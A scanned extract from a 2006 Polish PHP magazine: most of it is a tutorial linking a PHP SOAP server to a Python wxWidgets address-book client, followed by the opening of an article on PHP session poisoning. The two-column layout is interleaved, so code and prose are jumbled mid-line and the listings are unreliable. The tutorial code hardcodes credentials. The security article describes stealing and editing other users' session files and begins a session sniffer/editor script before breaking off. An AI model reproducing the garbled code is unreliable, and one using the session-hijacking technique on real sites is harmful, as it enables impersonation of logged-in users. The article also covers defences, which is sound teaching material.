updateDataInSRC() sprawdza przy po- DataInSRC() ma metodę publiczną, która Nasz silnik jest gotowy. Zapiszmy go
mocy metody checkEntryExists() (Li- ją wywołuje (updateEntry()). w pliku bookengine.php.
sting 8), czy aktualizowany rekord wystę-
puje w tabeli bazodanowej book. Jeżeli Kasowanie danych Tworzymy interfejs
takowy nie istnieje, wyrzucany jest wyją- Czas na ostatnią operację bazodanową: silnik – SOAP
tek z komunikatem ERROR_NO_ENTRY. kasowanie danych. Stworzymy w tym celu Czas na interfejs silnik-SOAP. Jak już wie-
my, jego zadaniem będzie przekształcanie
Listing 7. updateDataInSRC – aktualizacja danych w bazie danych pomiędzy tablicą a XML-em oraz
ich przesyłanie pomiędzy klientem a silni-
private function updateDataInSRC($userName,$pass,$data){ kiem. W tej dziedzinie nigdy nie możemy
try{ na 100% zaufać w solidność bibliotek po
$a=$this->checkConnection();
drugiej stronie, gdyż są one często w wer-
$a=$this->checkLogin($userName,$pass);
foreach($data as $i){ sji rozwojowej. Użycie XML-a chroni nas
// check, whether each row contains the correct data przed wszelkimi niekompatybilnościami.
$a=$this->checkRequiredFields($i,'update'); Zaczniemy od utworzenia klasy
$a=$this->checkEntryExists($userName,$pass,$i['id']); interface_SOAP (Listing 10), która będzie
$stmt=$this->db->prepare("UPDATE book SET ".
główną klasą interfejsu silnik-SOAP i bę-
...
} dzie udostępniana w ramach komunikacji
return $this->msgArray("OK_UPDATED_DATA"); SOAP (o tym zaraz). Na początku usta-
}catch (Exception $e){ return $this->handleExceptions($e, limy dwie zmienne publiczne: $book (in-
"ERROR_UPDATE_FAILED"); } stancja naszego silnika) oraz $msg (komu-
}
nikat o połączeniu z silnikiem). Następnie
public function updateEntry($userName,$pass,$data){
$result=$this->updateDataInSRC($userName,$pass,$data); przejdziemy do konstruktora: utworzymy
return $result; w nim instancję klasy bookengine, oraz
} obiekt klasy XML_Array, służącej do kon-
wersji danych między tablicą a formatem
Listing 8. checkEntryExists – sprawdzanie, czy rekord tabeli istnieje
XML. W artykule nie omówimy tej klasy
public function checkEntryExists($userName,$pass,$id){ – jej kod źródłowy (podobnie jak kod ca-
$query="SELECT * from book WHERE id=:id"; łej aplikacji) znajduje się na naszej stro-
try{ nie WWW.
$a=$this->checkConnection();
Teraz wystarczy wczytać komunikat
$a=$this->checkLogin($userName,$pass);
$stmt=$this->db->prepare($query);
z silnika (getMsg())– jeżeli został zmieniony,
.... to silnik został zainicjowany prawidłowo.
$resultArray=$stmt->fetchAll(PDO::FETCH_ASSOC); Następne metody: getOneEntry(),
} getAllEntries(), addEntry(), update-
Entry() oraz deleteEntry() odpowiada-
catch (Exception $e){ throw new Exception("ERROR_NO_CONNECTION"); }
ją metodom klasy bookengine. Ich zada-
// jeżeli operacje bazodanowe były OK, ale nie znaleziono pozycji, niem jest jedynie konwersja formatu da-
// wyrzuć wyjątek z komunikatem ERROR_NO_ENTRY. Zostanie on przejęty przez nych (tablica<->XML) pomiędzy silnikiem
// metodę wywołującą, nie przez tę, w której jesteśmy a klientem. Odbywa się to przy użyciu me-
if($resultArray==array()) { throw new Exception ("ERROR_NO_ENTRY"); }
tod retArrayToXML() (tablica -> XML) oraz
else { return true; }
retXMLToArray() (XML -> tablica) klasy
}
XML_Array. Zapiszmy teraz gotową kla-
sę w pliku todoserver.php i udostępnij-

66 www.phpsolmag.org PHP Solutions Nr 3/2006

62_63_64_65_66_67_68_69_70_71_Python_PL.indd 66 2006-04-05, 12:21:25


Mariaż Pythona i PHP Projekty

my ją klientom łączącym się przez SOAP. import SOAPpy,sys,copy Przetwarzanie XML-a


W tym celu utworzymy instancję $x klasy import xml.dom.minidom Teraz – podobnie, jak to miało miejsce
SoapServer. Następnie używając meto- po stronie serwera – stworzymy metody
dy setClass() obiektu $x wybieramy kla- Tutaj też utworzymy klasę interface_soap, odpowiadające za konwersję XML-a na
sę interface_SOAP do udostępnienia, któ- która w przeciwieństwie do interface_SOAP tablicę (retXMLToArray()) i vice versa (ret-
re rozpoczniemy przy pomocy handle(). z PHP będzie obsługiwała stronę klienc- ArrayToXML()). Wykorzystamy w tym celu
Nasza praca po stronie serwera została ką. Zacznijmy od konstruktora (metoda klasę xml.dom.minidom oraz rozszerzenia
zakończona. __init__(), Listing 11). Inicjalizujemy pyxml. Nie omówimy tych metod w artyku-
w nim klienta SOAP – klasę SOAPProxy le – ich kod źródłowy, podobnie jak klasy
Ujarzmianie Pythona: z modułu SOAPpy (który musi być wcze- PHP-owej XML_Array, znajduje się na na-
tworzymy aplikację śniej zainstalowany) i przekazujemy jej szej stronie WWW.
kliencką konstruktorowi URL serwera SOAP. Ope-
A więc doszliśmy do tworzenia aplikacji rację tę wykonujemy w bloku try..except, Korzystanie z metod PHP-owych
klienckiej w Pythonie. Utworzymy plik bo- odpowiadającym blokowi try..catch w Pythonie
ok_client.py i zaczniemy od zaimportowa- w PHP: except zbiera wyrzucone wyjątki. Nadszedł czas na zdefiniowanie metod,
nia potrzebnych modułów: za pomocą których będziemy wywoływa-
li metody PHP-owe. Nadamy im takie sa-
Listing 9. deleteDataFromSRC – kasowanie danych z bazy me nazwy, jak w PHP. Zastosujemy nawet
identyczne nazwy argumentów, z wyjąt-
private function deleteDataFromSRC($userName,$pass,$id){ kiem pass, gdyż jest to słowo zastrzeżone.
try{ Zacznijmy od getOneEntry() (Listing 12).
$a=$this->checkConnection();
Jej kod umieścimy w bloku try..except.
$a=$this->checkLogin($userName,$pass);
$a=$this->checkEntryExists($userName,$pass,$id); Zaczniemy od odczytania XML-a z serwe-
$stmt=$this->db->prepare("DELETE FROM book WHERE id=:id"); ra. Tutaj właśnie widzimy, jak używać me-
... tod PHP-owych: są one po prostu meto-
dami obiektu self.server! Proste, praw-
Listing 10. interface_SOAP – główna klasa interfejsu silnik-SOAP
da? Po odczytaniu danych przekształca-
class interface_SOAP{ my je na tablicę (self.retXMLToArray())
public $book; // instancja silnika i zwracamy. I tu uwaga: nie zwracamy sa-
public $msg='initial message: not connected yet'; mych danych, tylko ich kopię (copy.deep-
public function __construct(){
copy(data)) – jest to koniecznie, gdyż do-
$this->book=new bookListEngine();
$this->xarr=new XML_Array();
myślnie Python nie kopiuje tablicy, tylko
$this->msg=$this->book->getMsg(); tworzy wskaźnik do niej, co mogłoby naro-
} bić poważnych szkód.
public function getMsg(){ return $this->msg; } Analogicznie radzimy sobie z pozo-
public function getOneEntry($userName,$pass,$id){
stałymi metodami dostępu do danych:
$data=$this->book->getOneEntry($userName,$pass,$id);
getAllEntries(), addEntry(), update-
$dataXML=$this->xarr->retArrayToXML($data);
return $dataXML; Entry() oraz deleteEntry() – na Listin-
} gu 13 przedstawiamy pierwsze wersy ich
public function getAllEntries($userName,$pass){ deklaracji.
$data=$this->book->getAllEntries($userName,$pass);
Część naszej aplikacji klienckiej odpo-
...
}
wiedzialna za dostęp do danych jest już
public function addEntry($userName,$pass,$dataXML){ gotowa. Pora na interfejs graficzny (GUI).
$data=$this->xarr->retXMLToArray($dataXML);
$result=$this->book->addEntry($userName,$pass, $data['data_rows']); Tworzymy interfejs
...
}
graficzny w Pythonie
public function updateEntry($userName,$pass,$dataXML){
Będzie on wyglądał jak na Rysunku 2.
... Mamy mieć możliwość przeglądania listy
$result=$this->book->updateEntry($userName,$pass,$data['data_rows']); rekordów książki teleadresowej i wyświe-
... tlania wybranej pozycji. Chcemy też móc
}
dodawać nowe wpisy, a także kasować
public function deleteEntry($userName,$pass,$id){
$result=$this->book->deleteEntry($userName,$pass,$id);
i modyfikować istniejące. Do tych ostatnich
... czynności posłużą nam okna dialogowe.
}
} // koniec klasy interface_SOAP Tworzymy lokalny model danych
$x=new SoapServer(null,array('uri'=>'http://localhost/php/'));
Do tego jednakże potrzebujemy lokalnego
$x->setClass("interface_SOAP");
$x->handle();
modelu danych. Nie chcemy przecież łą-
czyć się z bazą danych za każdym razem,
gdy np. przechodzimy do kolejnej pozy-

PHP Solutions Nr 3/2006 www.phpsolmag.org 67

62_63_64_65_66_67_68_69_70_71_Python_PL.indd 67 2006-04-05, 12:21:27


Projekty Mariaż Pythona i PHP

cji na liście. Nie chcemy również umiesz-


Listing 11. Konstruktor klasy interface_soap w Pythonie czać operacji na lokalnych danych w kla-
sie interface_soap, gdyż jej celem jest
def __init__(self):
try: wyłącznie pośredniczenie w komunika-
self.server = SOAPpy.SOAPProxy("http://localhost/php/todoserver.php") cji SOAP.
except: Stworzymy więc nową klasę, którą na-
print "ERROR: can not connect to server" zwiemy tempDataModel (chwilowy model
sys.exit()
danych, Listing 14). Jej głównym celem
Listing 12. getOneEntry w interface_soap: używanie metod PHP-owych będzie pobieranie danych z bazy (przy
w Pythonie pomocy klasy interface_soap) i przecho-
wywanie ich w tablicy dataTemp, z której
def getOneEntry(self,userName,password,id):
będziemy mogli je pobierać przy użyciu
try:
dataXML=self.server.getOneEntry(userName,password,id)
metod getTempEntry() (odczyt jednego
data=self.retXMLToArray(dataXML) rekordu) oraz getAllTempData() (odczyta-
return copy.deepcopy(data) nie całej tablicy). Do odczytu danych z ba-
... zy używamy metody reloadData(), a do
wyzerowania i odświeżenia całego mode-
Listing 13. Deklaracje pozostałych metod dostępu do danych w Pythonie
lu danych – resetTempDataModel(). Klasa
def getOneEntry(self,userName,password,id): pośredniczy również w kasowaniu (dele-
def getAllEntries(self,userName,password): teEntryFromDB()), dodawaniu (addEntry-
def addEntry(self,userName,password,data): ToDB()) oraz aktualizacji (updateEntry-
def updateEntry(self,userName,password,data):
InDB()) danych w bazie, za każdym ra-
def deleteEntry(self,userName,password,id):
zem powodując ponowny odczyt danych
Listing 14. Lokalny (chwilowy) model danych w Pythonie z tabeli book oraz wyzerowanie i odświeże-
nie zawartości tablicy dataTemp. Podczas
class tempDataModel: resetowania danych sprawdzamy ich po-
def __init__(self):
prawność. Gotową klasę modelu danych
self.dataInterface=interface_soap()
self.resetTempDataModel() zapiszemy w pliku tempdatamodel.py.
def reloadData(self): Wróćmy teraz do konstruowania inter-
# metoda prywatna fejsu graficznego.
return self.dataInterface.getAllEntries('critto','1qazse4')
def resetTempDataModel(self):
# metoda publiczna
Budujemy główną część
dataTMP0=self.reloadData() aplikacji
self.dataTemp={} Tworzenie interfejsu graficznego rozpocz-
try: niemy od zainicjowania głównego okna
... aplikacji – instancji mainF klasy wx.Frame
if(dataTMP0['data_type']=='entries'):
(Listing 15). Zauważmy, że konstruujemy
for i in dataTMP0['data_rows']:
id=i['id'] ten obiekt wewnątrz metody OnInit() kla-
self.dataTemp[str(id)]=i sy MainModule, która dziedziczy z wx.App
# porządkowanie self.dataTemp wg ID wersu danych – blok ten musi istnieć w każdej aplika-
self.Errors=0 cji korzystającej z wxWidgets. Późniejsze
else:
utworzenie obiektu klasy MainModule()
...
def getAllTempData(self): oraz wywołanie jej metody MainLoop()
return copy.deepcopy(self.dataTemp) również jest niezbędne, gdyż otwiera
def getTempEntry(self,id): główną pętlę działania aplikacji wxWid-
try: gets – chcąc nie chcąc, musimy więc
if not(self.getErrors()):
w niej zawrzeć całą logikę programu.
return copy.deepcopy(self.dataTemp[str(id)]) # to MUSI być łańcuch
... Zaczniemy od konstruktora tej klasy
def deleteEntryFromDB(self,id): (__init__(), Listing 16), w którym naj-
a=self.dataInterface.deleteEntry('critto','1qazse4',id) pierw zainicjujemy klasę nadrzędną,
self.resetTempDataModel() a następnie zadeklarujemy kilka wła-
return copy.deepcopy(a)
ściwości obiektu: listy pól wymaga-
def addEntryToDB(self,data):
# implikuje tylko jeden rekord nych self.requiredFieldsAll i self.
dataOK={'data_type':'entries','data_rows':[data]} requiredFieldsList, numer na liście
result=self.dataInterface.addEntry('critto','1qazse4',dataOK) oraz ID wybranej pozycji (self.entry-
... Selected i self.entrySelectedID) oraz
def updateEntryInDB(self,data,id):
zdefiniujemy model danych (dataModel).
... # analogicznie jak addEntryToDB
Ze względu na konstrukcję wxWid-
gets, okno (wx.Frame) musi zawierać

68 www.phpsolmag.org PHP Solutions Nr 3/2006

62_63_64_65_66_67_68_69_70_71_Python_PL.indd 68 2006-04-05, 12:21:28


Mariaż Pythona i PHP Projekty

panel (wx.Panel), na którym będą roz- Potem przejdziemy do umieszczania mi, które oszczędzają nam podawania po-
mieszczone kolejne elementy, takie jak obiektów: przycisków self.buttons['Add'], zycji i rozmiarów obiektów w pikselach.
np. lista przewijana (wx.ListCtrl), przy- Edit i Remove, pola tekstowego, na którym Mechanizm podobny do sizerów, tyle że
ciski (wx.Button) czy pole tekstowe będziemy wyświetlali zawartość rekordu zastosowany w GTK, tzw. boksy (ang. bo-
(wx.TextCtrl), w którym będziemy wy- (obiekt self.dataScreen klasy TextCtrl) xes) zostały omówione w artykułach Wake
świetlać dane wybranego rekordu Przej- oraz listy przewijalnej, self.bookList klasy on Lan (numer 2/2005), Nowe możliwo-
dziemy więc do tworzenia głównego pa- bookListCtrl (szczegóły jej działania omó- ści PHP-GTK2 (numer 1/2006) oraz Gla-
nelu aplikacji. Utworzymy w tym celu kla- wimy później). de GUI Builder (numer 2/2006). Jednym
sę MainPanel, która będzie dziedziczyła Czas na ułożenie obiektów w oknie z najprostszych sizerów jest wx.BoxSizer,
z wx.Panel. – służą do tego narzędzia zwane sizera- który automatycznie rozmieszcza kolejne
obiekty poziomo (wx.HORIZONTAL) albo pio-
nowo (wx.VERTICAL). Skorzystamy z nie-
Listing 15. Główna pętla aplikacji wxWidgets
go, aby rozlokować obok siebie przyciski
class mainModule(wx.App): (sizerBtn).
def OnInit(self): Następnie utworzymy sizer, za pomo-
mainF=wx.Frame(None,-1,'Książka teleadresowa',) cą którego rozmieścimy wszystkie obiekty
mainF.SetSize((640,480))
w naszym oknie – w tym również inne si-
a=mainPanel(mainF,-1)
mainF.Show(True) zery, takie jak sizerBtn. Tym razem uży-
return True jemy narzędzia wx.RowColSizer, które po-
zwala na rozlokowanie obiektów w komór-
x_pim=mainModule(0) kach tabeli. Utworzymy obiekt sizerP. Ko-
x_pim.MainLoop()
lumny i wersy tej tabeli możemy łączyć
Listing 16. Konstruktor klasy MainPanel – tworzenie i porządkowanie zawartości (colspan i rowspan). Przy pomocy metody
głównego okna aplikacji SetItemMinSize() tej klasy ustalimy z ko-
lei minimalny rozmiar wybranych obiektów,
class mainPanel(wx.Panel): zaś metoda SetSizerAndFit samego pa-
def __init__(self,parent,id):
nelu pozwoli nam umieścić sizer w oknie.
wx.Panel.__init__(self,parent,id)
self.requiredFieldsAll=['name','surname','phone','mobile','email','www',\ Pora na powiązanie zdarzeń (ang.
'gg','aim','icq','notes','address','postal'] events) dotyczących utworzonych obiek-
... tów z metodami callbackowymi (ang. cal-
buttons={} lback methods), w których zawarta bę-
buttons['Add'] =wx.Button(self,-1,"Add")
dzie obsługa tych zdarzeń. Powiązania te
...
self.dataScreen=wx.TextCtrl(self,-1,style=wx.TE_MULTILINE) opisujemy za pomocą specjalnych kon-
self.dataScreen.SetEditable(False) strukcji językowych: w przypadku wybo-
self.bookList=bookListCtrl(self,-1) ru oraz anulowania wyboru elementu li-
self.sizerBtn=wx.BoxSizer(wx.HORIZONTAL) sty użyjemy wx.EVT_LIST_ITEM_SELECTED
...
oraz wx.EVT_LIST_ITEM_DESELECTED, a dla
#self.sizer=wx.lib.rcsizer.RowColSizer()
self.sizerP=wx.lib.rcsizer.RowColSizer() przycisków zastosujemy wx.EVT_BUTTON.
self.sizerP.Add(self.dataScreen,row=0,col=0,colspan=4,rowspan=3,flag=wx.EXPAND) Została jeszcze jedna operacja: wy-
... wołanie nieutworzonej jeszcze metody
wx.EVT_LIST_ITEM_SELECTED(self,self.bookList.GetId(),self.entryIsSelected) populateBookList(), która będzie służyła
wx.EVT_LIST_ITEM_DESELECTED(self,self.bookList.GetId(),self.entryIsDeselected)
do wypełnienia listy danymi.
wx.EVT_BUTTON(self,buttons['Add'].GetId(),self.addClicked)
... Zanim jednak przejdziemy do tworze-
self.populateBookList() nia tych metod, zbudujmy element, bez
którego nasz interfejs jest bezużyteczny:
Listing 17. bookListCtrl, obiekt listy przewijanej (booklistctrl.py) listę przewijaną.
class bookListCtrl(wx.ListCtrl,wx.lib.mixins.listctrl.ColumnSorterMixin):
def addToList(self,dataFields,moreData=-2): Lista przewijana
lastIndex=self.GetItemCount() # indeks dodawanej pozycji Lista przewijana to obiekt klasy
self.InsertStringItem(lastIndex,str(lastIndex)) wx.ListCtrl. My odziedziczymy tę kla-
for i in range(0,len(dataFields)):
sę tworząc bookListCtrl (Listing 17), aby
self.SetStringItem(lastIndex,i+1,dataFields[i])
...
zorganizować listę po swojemu.
def __init__(self,parent,id): Zacznijmy od jej konstruktora. Wsta-
wx.ListCtrl.__init__(self,parent,id,style=wx.LC_REPORT|wx.SUNKEN_BORDER) wimy w nim kolumny listy (metoda
self.InsertColumn(0,'Nr') InsertColumn()), kolejno: numer pozy-
...
cji, imię, nazwisko, telefon, telefon ko-
wx.lib.mixins.listctrl.ColumnSorterMixin.__init__(self,6)
mórkowy oraz e-mail, a także doda-
my narzędzie umożliwiające sortowanie
(ColumnSorterMixin), które wymaga po-

PHP Solutions Nr 3/2006 www.phpsolmag.org 69

62_63_64_65_66_67_68_69_70_71_Python_PL.indd 69 2006-04-05, 12:21:30


Projekty Mariaż Pythona i PHP

dania liczby kolumn, których będzie do-


Listing 18. Metody callbackowe klasy mainPanel oraz metody: populate- tyczył. Niestety, na tym jego wymagania
BookList() i showEntryData()
się nie kończą – musimy także zdefinio-
def showEntryData(self,entryIndex): wać metodę GetListCtrl(), która bę-
if(self.entrySelected!=-1)and(self.entrySelectedID!=-1): dzie zwracała obiekt klasy wx.ListCtrl
dataEntry=self.dataModel.getTempEntry(str(self.entrySelectedID)) (u nas bookListCtrl), a także tablicę
self.dataScreen.SetValue(str(dataEntry)) (słownik) itemDataMap (wszystkie na-
string_out="imię : "+dataEntry['name'] +" nazwisko:"+\
zwy muszą się zgadzać), w której bę-
dataEntry['surname']+"\n"+\
... dzie przechowywana kopia kompletu
self.dataScreen.SetValue(string_out) danych do tablicy.
Utworzymy także metodę clearList(),
def entryIsSelected(self,evt): która będzie kasowała listę korzysta-
iSelected=evt.GetIndex()
jąc z wbudowanej do wx.ListCtrl meto-
self.entrySelected=iSelected
self.entrySelectedID=self.bookList.GetItemData(iSelected) dy DeleteAllItems() oraz przypisując pu-
self.showEntryData(iSelected) sty słownik do itemDataMap. Ostatnią po-
def entryIsDeselected(self,evt): trzebną nam metodą będzie addToList()
... – dodawanie nowej pozycji do listy. Sko-
rzystamy w niej z wbudowanej meto-
def removeClicked(self,evt):
if self.entrySelected!=-1: dy GetItemCount(), aby sprawdzić ilość
a=wx.MessageDialog(self, 'Czy skasować wybraną pozycję z bazy danych?',\ pozycji i ustalić indeks dodawanej. Do-
'Usuwanie wpisu',wx.YES_NO|wx.ICON_INFORMATION) dawanie rekordu będzie się odbywało
a1=a.ShowModal() przy użyciu metod InsertStringItem()
if(a1==wx.ID_YES):
oraz SetStringItem(). Następnie użyje-
result=self.dataModel.deleteEntryFromDB(self.entrySelectedID)
self.populateBookList() my SetItemData() do wstawienia niewi-
... docznych danych każdej pozycji (w na-
def addClicked(self,evt): szym przypadku id w tabeli bazodanowej
a=editionDialog(self,-1,title="Dodawanie nowej pozycji") book), a także zdefiniujemy nowy element
a1=a.ShowModal()
itemDataMap. Klasa bookListCtrl jest go-
if(a1==wx.ID_OK):
data=a.getAllData() towa – zapiszemy ją w pliku booklistctrl.py.
result=self.dataModel.addEntryToDB(data)
self.populateBookList() Metody callbackowe
... Przejdźmy teraz do tworzenia metod cal-
def editClicked(self,evt):
lbackowych klasy mainPanel (Listing 18).
if self.entrySelectedID!=-1:
chosenEntryID=self.entrySelectedID Każda z nich ma argument evt – za je-
chosenEntry=self.dataModel.getTempEntry(chosenEntryID) go pomocą przekazywane są informacje o
a=editionDialog(self,-1,title="Dodawanie nowej pozycji") zdarzeniu. Pierwszą z naszych metod call-
a.setAllData(chosenEntry) backowych jest entryIsSelected(), wywo-
...
ływana przy wybraniu pozycji na liście, któ-
def populateBookList(self): rą odczytujemy korzystając z GetIndex().
self.bookList.clearList() Za pomocą entryIsSelected() ustalamy
gottenData=self.dataModel.getAllTempData() wybrany element (self.entrySelected
for i in gottenData: # i=id i self.entrySelectedID) oraz wyświetlamy
dataValues=[]
go w polu tekstowym (showEntryData()).
...
Z kolei metoda entryIsDeselected(),
Listing 19. Dialog pozwalający na edycję danych wybranego rekordu wywoływana w przypadku anulowa-
nia wyboru pozycji (np. poprzez kliknię-
class editionDialog(wx.Dialog):
cie na pustą część listy) będzie nadawa-
def setAllData(self,data):
ła zmiennym self.entrySelected oraz
...
def getAllData(self)): self.entrySelectedID wartość -1.
... Następnymi metodami callbac-
kowymi są te reagujące na kliknię-
def __init__(self,parent,id,pos=wx.DefaultPosition,size=((300,200)),title=''):
cie: removeClicked(), addClicked()
wx.Dialog.__init__(self,parent,id,title,pos,size) # inicjalizacja dialogu
i updateClicked(). W ich przypadku
self.sizer=wx.lib.rcsizer.RowColSizer()
... ukazuje się okienko dialogowe, w któ-
labels['name'] =wx.StaticText(self,-1,'Name') rym użytkownik może odpowiednio: za-
... decydować, czy chce skasować po-
self.buttonOK=wx.Button(self,wx.ID_OK,'Accept')
zycję (removeClicked()), wpisać da-
...
ne nowego rekordu (addClicked())
lub wyedytować wartości istniejącego

70 www.phpsolmag.org PHP Solutions Nr 3/2006

62_63_64_65_66_67_68_69_70_71_Python_PL.indd 70 2006-04-05, 12:21:32


Mariaż Pythona i PHP Projekty

nych oraz na ich umieszczanie. Nazwie-


my je getAllData() i setAllData() – bę-
dą one korzystały z metod getValue()
i setValue() każdego pola (w pętli for).
Gotowy dialog zapiszemy w pliku edition-
dialog.py.
Tym samym zakończyliśmy tworzenie
naszego interfejsu graficznego – możemy
go uruchomić.

Podsumowanie
Jak widać, zaprzęgnięcie PHP i Pythona
w celu wykonywania wspólnego zada-
nia jest proste i daje zadziwiające rezul-
Rysunek 2. Gotowy interfejs użytkownika taty: stronę serwerową obsługuje potęż-
ny, a zarazem prosty skrypt PHP, nato-
(editClicked). W pierwszym przypadku zawartość tabeli bazodanowej (populate- miast Python świetnie sprawdza się przy
okienkiem dialogowym jest obiekt klasy BookList()). tworzeniu interfejsu graficznego. Istnie-
wx.MessageDialog wyświetlający komu- Przyjrzyjmy się teraz populate- je idealny podział pracy pomiędzy model
nikat: w dwóch pozostałych korzystamy BookList(). Na początku, metoda ta czy- danych, a ich prezentację. Takiego połą-
z instancji własnej klasy editionDialog, ści listę (self.bookList.clearList()) czenia można dokonać również między
którą omówimy później. W każdej spo- i pobiera wszystkie dane przechowywa- PHP a dowolnym innym językiem, np.
śród tych metod dialog jest wywoływany ne w lokalnym modelu danych, które na- Javą, do czego Was zresztą serdecz-
modalnie (ShowModal()), co oznacza, że stępnie dodaje do listy. Główna częśc in- nie zachęcamy. Dzięki protokołom takim,
dopóki jest na ekranie, możliwość ko- terfejsu naszej aplikacji jest już gotowa, jak SOAP czy XML-RPC świat PHP stoi
rzystania z pozostałych elementów na- zapiszmy ją więc w pliku gui_main.py. otworem dla innych rozwiązań. 
szej aplikacji jest zablokowana. Każdy
dialog ma przyciski (w przypadku ka- Dialog dodawania i edycji
sowania są to TAK i NIE, w pozostałych rekordów
– OK i Anuluj). Zwróćmy uwagę na spo- Ostatnim elementem naszego interfej-
sób reagowania na ich kliknięcie: po za- su graficznego jest dialog pozwalają-
O autorze
mknięciu dialogu sprawdzamy zwróco- cy nam wpisywać dane wybranej po- Krzysztof Sobolewski od wielu lat zaj-
ną wartość. zycji książki teleadresowej. Ma on po- muje się programowaniem, głównie w
Metody removeClicked, addClicked stać klasy editionDialog, która dziedzi- PHP i Pythonie. Do jego ulubionych dzie-
dzin należą: bazy danych, interfejsy gra-
i editClicked() korzystają z mode- czy z wx.Dialog (Listing 19). W konstruk-
ficzne i algorytmy rekurencyjne. Poza
lu danych: pierwsza z nich kasuje pozy- torze tej klasy definiujemy i ustawiamy tym redaguje magazyn PHP Solutions,
cję tabeli bazodanowej book przy użyciu (za pomocą sizerów) etykiety (wx.Sta- bierze udział w tworzeniu polskiej Wiki-
dataModel.deleteEntryFromDB(). W dru- ticText) i pola danych (wx.TextCtrl) pedii i pisze eseje na różne tematy.
giej uzywamy metody addEntry() tej sa- oraz przyciski OK i Anuluj. Potrzebuje-
Kontakt z autorem:
mej klasy, a w trzeciej – updateEntry(). my jeszcze metod pozwalających na po- krzysztof.sobolewski@gmail.com
Każda z tych metod odświeża następnie bieranie wpisanych danych z pól edycyj-

R E K L A M A

PHP Solutions Nr 3/2006 www.phpsolmag.org 71

62_63_64_65_66_67_68_69_70_71_Python_PL.indd 71 2006-04-05, 12:21:34


Bezpieczeństwo

Techniki zatruwania sesji


w PHP
Stopień trudności: lll
Jakub Mrugalski

Słyszałeś o przechwytywaniu i modyfikowaniu


zmiennych POST, GET i COOKIES i myślisz,
że wystarczy zamiast nich korzystać z sesji,
aby odgrodzić się murem od niebezpieczeństw.
Rzeczywistość jest jednak znacznie gorsza: to
co wydaje się być ścianą warowni, jest zaledwie
ukrywającym zagrożenia przed użytkownikiem
parawanem, który bardzo łatwo naruszyć.

O
d kiedy zetknąłem się z języ- waczami, dla których modyfikacja cia-
kiem PHP (a było to wiele lat steczek nie stanowi najmniejszego pro-
temu), nieustannie zwracano mi blemu.
uwagę, że zwykle każda zmienna global-
na może bez większych problemów być Niebezpieczeństwa
modyfikowana przez użytkownika. Dla- płynące z sesji
tego początkujący oraz średniozaawan- Każdy zaawansowany programista PHP
sowani programiści stosują prostą re- wie, że gdy włączymy Register Globals,
gułę, która zabrania przesyłania zmien- zmienne sesyjne (SESSION) mają więk-
nych odpowiedzialnych np. za rozpozna- szy priorytet niż zmienne typu POST,
wanie zalogowania użytkownika przy po- GET, czy COOKIES. W praktyce ozna-
mocy metod POST i GET. W przypad- cza to, że jeśli w skrypcie zadeklarujemy
W SIECI ku GET, poufne informacje widoczne są zmienną sesyjną o nazwie $variable,
w pasku adresu, natomiast przy stoso-
waniu trochę bezpieczniejszej POST, zo-
1. http://www.phpsec.org
Co należy wiedzieć...
baczymy je np. w kodzie przesyłanego Potrzebna będzie znajomość podstaw
– PHP Security Consortium
2. http://www.hardened- formularza – agresor może więc taki for- PHP.
php.net/
– PHP Security Project
mularz spreparować. Co obiecujemy...
Lepsze kursy PHP polecają, aby da- Nauczysz się wykradania sesji PHP po-
3. http://www.sitepoint.com/
article/php-security-blunders ne dotyczące logowania przetrzymy- przez luki XSS, ich bezpośredniego mo-
– Top 7 security blunders dyfikowania na serwerze, ich sniffowania
wać w ciasteczkach (ang. cookies). Jed-
4. http://www.acros.si/papers/ przy restrykcjach serwera oraz zabezpie-
session_fixation.pdf nak należy pamiętać, że nie bronimy na- czania się przed ich wykradaniem i zatru-
– session fixation szych skryptów przed szarymi użytkow- waniem.
nikami, lecz przed wprawnymi włamy-

72 www.phpsolmag.org PHP Solutions Nr 3/2006


zatruwanie sesji w PHP Bezpieczeństwo

a następnie prześlemy do skryptu ustalamy długości zmiennej i używamy Jak się przed tym obronić? Nale-
zmienną o takiej samej nazwie przy uży- typu integer (litera i), tak jak w przy- ży włączyć opcję PHP-ową Safe Mode,
ciu metody POST lub GET, skrypt bę- padku zmiennej $zalogowany (zalogowa- co ma miejsce na znacznej większości
dzie używał wartości zapisanej w zmien- ny|i:1;), która ma wartość 1. serwerów hostingowych. Uniemożliwi
nej sesyjnej. to przeglądanie plików innych użytkow-
Zmienne sesyjne zapewniają nam Modyfikacja sesji ników, również tych znajdujących się w
tak naprawdę znikomy stopień bezpie- poprzez pliki katalogu /tmp. Użycie funkcji readdir()
czeństwa, gdy nasz skrypt używają- Naszym celem będzie nielegalna mo- w tym trybie również nie będzie wyko-
cy sesji znajdzie się na publicznie do- dyfikacja pliku sesji w katalogu /tmp/ na nalne.
stępnym serwerze. Nie tylko, że może- dysku serwera. Zadanie to jest znacz-
my je modyfikować, kasowac i nadpisy- nie ułatwione tym, że pliki sesji tworzo- Zatruwanie sesji metodą
wać; możemy również przechwycić se- ne są przez serwer Apache, a więc ich unknowa & adama_i
sję innego użytkownika i w efekcie być właścicielem jest zazwyczaj użytkownik Prawie pół roku temu na bugtraq serwi-
zalogowanym (np. na forum lub blogu) nobody. Z tego właśnie powodu mamy su securityfocus.com pojawił się raport
jako on. prawo odczytu i zapisu plików sesji z po- o błędzie, na który podatne są wszyst-
ziomu dowolnego skryptu PHP, którego kie dotychczasowe wersje PHP. Ra-
Fizyczna lokalizacja może używać również włamywacz. port ten znajduje się pod adresem http://
zmiennych sesyjnych
W przypadku zmiennych POST, GET Listing 1. Sniffer zmiennych sesyjnych
i COOKIES, nie mamy najmniejszych
wątpliwości co do ich fizycznej lokali- <?php
zacji. Zarówno zmienne z tablic $_POST if ($sess_number) {setcookie('PHPSESSID',$sess_number);
$_COOKIE['PHPSESSID']=$sess_number;}
jak i $_GET są jednokrotnie przesyłane
session_start();
do skryptu i nie są nigdzie na stałe za- ?>
pamiętywane. Zmienne z tabeli $_COOKIE
są przetrzymywane na dysku użytkowni- <h1>SniffEdSess</h1>
ka w postaci plików ciasteczek zgroma- sniffer&edytor zmienych sesyjnych<br><br>
<form method=post>
dzonych w odpowiednim dla danej prze-
<table cellpadding=5 cellspacing=0 border=1>
glądarki miejscu. Natomiast zmienne se- <tr bgcolor="silver">
syjne nie są ani przesyłane jednokrot- <th>numer sesji:</th>
nie, bo przeczyłoby to ich przeznacze- </tr>
niu. Nie są też przechowywane po stro- <tr>
<td><input type="text" name="sess_number"></td>
nie użytkownika, gdyż narażałoby je to
</tr>
na modyfikacje, lecz w postaci plików <tr bgcolor="silver">
na serwerze (który musi mieć do nich <td><input type="submit" value="ok"></td>
